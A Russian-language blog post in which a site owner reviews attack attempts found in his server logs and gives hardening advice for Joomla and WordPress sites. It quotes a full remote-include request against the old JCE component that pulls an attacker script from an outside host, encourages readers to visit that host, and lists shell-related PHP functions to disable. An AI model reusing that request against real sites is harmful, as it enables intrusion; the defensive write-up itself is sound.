В течение последних двух-трех месяцев автор этих строк, время от времени просматривая логи веб-сервера, пробовал локализовать и систематизировать перечень хакерских атак на свои web-сайты... сегодня с уверенностью могу сказать: чаще других применялись попытки инклюда, пытающиеся эксплуатировать старые проблемы безопасности в расширениях Joomla и Wordpress, а также нулевой код в URI (Null Byte Injection).
На этой страничке вы увидите небольшой отчет о проведенном исследовании; возможно, рассказ о происходящих в Сети событиях многим покажется интересным. Да, это рассказ именно о Глобальной Сети и происходящих в ней теневых процессах: уверен, описанные попытки взлома не имеют адресного характера и ежедневно применяются (иногда не без успеха, знаю непонаслышке) на тысячах сайтов.
Остановимся сейчас на первом из двух сценариев. Null Byte Injection же - тема для отдельной публикации... впрочем, описанные ниже способы защиты вполне адекватны в контексте двух перечисленных видов атак.
Что же, собственно говоря, происходит... а происходит конкретно следующее. Имеет место атака, направленная на уже очень неновую уязвимость в одном из расширений, в частности, Joomla, а именно - на компонент JCE (com_jce), старые версии которого буквально изобилуют опасными проблемами безопасности. Сценарий атаки - GET-запрос, который способен выглядеть, например, так:
http://masterpro.ws//index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20?src=http://stage-secrets-management.com/includes/php/update.php
Что же там за адрес такой, после src? - не поленитесь, откройте ссылку. Ничего страшного не произойдет. Вы увидите форму, веб-мордочку скрипта, предназначенного именно к этой цели - инклюд, и эксплуатирующего уязвимость старой версии JCE, имеющий целью - получение рутового шелла. Нет уже смысла подробно останавливаться на старой, давно перекрытой разработчиками уязвимости - наиболее любознательных я приглашаю погуглить по фразе JCE Joomla Extension Remote File Upload, вы сможете увидеть ряд любопытных видеороликов на тему плюс подробную транскрипцию происходящего.
Первый из двух вечных для нашей страны вопросы - кто виноват и что делать - мы, как водится, оставим за скобками. А вот второй разберем насколько сможем подробно в рамках этой небольшой статьи... и попытаемся максимально обезопасить ваш сайт. Что же нам для этого понадобится?
Прежде всего - взглянем в сторону security-расширений. Если вы владелец сайта на WordPress - очень нелишним будет обратить взор на BulletProof Security, если у вас Joomla-сайт - присмотритесь к RSFirewall или Admin Tools Professional. Эти extensions вполне способны обеспечить вашему сайту безопасное житье-бытье... да, но не только они.
Никогда не забывайте о безопасных permissions для файлов и директорий вашего сайта. Все очень несложно; зайдите по ssh на ваш web-сервер и, находясь на один уровень выше публичной директории, выполните две команды, устанавливающие безопасные разрешения:
find public_html -type d -exec chmod 0755 {} \;
find public_html -type f -exec chmod 0644 {} \;
Также не мешает подредактировать .htaccess вашего web-сайта, руководствуясь htaccess examples security на joomla.org; если нет желания подробно разбираться в написанном - вы можете воспользоваться парочкой готовых и вполне дееспособных примеров с форума masterpro.ws.
Очень рекомендую озаботиться редактурой параметров вашего php (файл php.ini), поотключав в нем всевозможные излишества и обязательно прописав open_basedir:
register_globals=Off
safe_mode=Off
allow_url_fopen=Off
allow_url_include=Off
disable_functions=show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open
open_basedir=/путь к каталогу tmp/
Что еще? - а, ну как же. Самое главное. Никогда не забывайте обновлять расширения вашего сайта, они должны быть у вас только в актуальных своих версиях... ну и, пожалуй, это действительно все. Если что-то упустил - буду благодарен за дельный комментарий или новости по теме... enjoy!